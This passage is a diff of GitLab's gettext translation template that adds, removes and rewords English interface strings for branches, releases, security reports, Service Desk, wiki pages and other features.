+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24571,6 +25213,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24745,7 +25390,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24934,7 +25579,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -25099,7 +25744,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -25111,7 +25756,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -25135,6 +25780,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25183,9 +25831,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25432,6 +26077,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25477,7 +26125,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25501,6 +26149,12 @@ msgstr[2] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25627,6 +26281,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25723,6 +26380,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -26035,7 +26695,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26179,6 +26842,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26212,9 +26878,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26311,6 +26974,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26329,6 +26995,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26353,9 +27022,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26407,6 +27073,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26458,6 +27127,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26467,6 +27139,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26683,6 +27358,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26758,13 +27436,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26773,10 +27457,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26791,6 +27475,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26848,16 +27535,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26923,15 +27622,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26983,9 +27673,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26995,9 +27682,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -27034,6 +27718,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -27043,7 +27730,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -27073,9 +27760,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -27130,9 +27823,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27226,6 +27916,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27364,19 +28057,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27478,6 +28195,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27532,7 +28252,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27544,6 +28264,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27565,6 +28288,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27772,9 +28498,15 @@ msgstr[2] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27793,6 +28525,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -28033,6 +28768,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28711,13 +29449,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28732,9 +29470,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28747,7 +29482,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28837,9 +29572,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28855,9 +29587,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28915,9 +29644,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29545,6 +30271,12 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29704,9 +30436,6 @@ msgstr[2] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29779,6 +30508,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29806,6 +30538,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29818,6 +30553,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29881,6 +30619,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29941,6 +30682,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -30013,6 +30757,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -30064,6 +30811,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -30112,6 +30862,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -30139,6 +30895,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30172,9 +30931,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30418,6 +31174,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30556,7 +31315,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30640,6 +31399,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30649,6 +31411,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30661,6 +31426,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30967,9 +31735,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -31066,9 +31831,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31369,6 +32131,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31411,9 +32182,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31441,7 +32209,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31546,6 +32314,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31744,10 +32515,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31882,9 +32653,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31939,6 +32707,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32341,7 +33115,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32350,6 +33124,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32446,6 +33223,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32644,9 +33424,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32698,6 +33475,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32743,7 +33523,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32971,9 +33754,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -33040,7 +33820,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -33049,6 +33844,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33202,9 +34003,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33232,6 +34039,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33241,6 +34051,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33646,15 +34459,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33829,6 +34657,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33928,9 +34759,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -34003,34 +34831,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Create page"
+msgstr ""
+
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
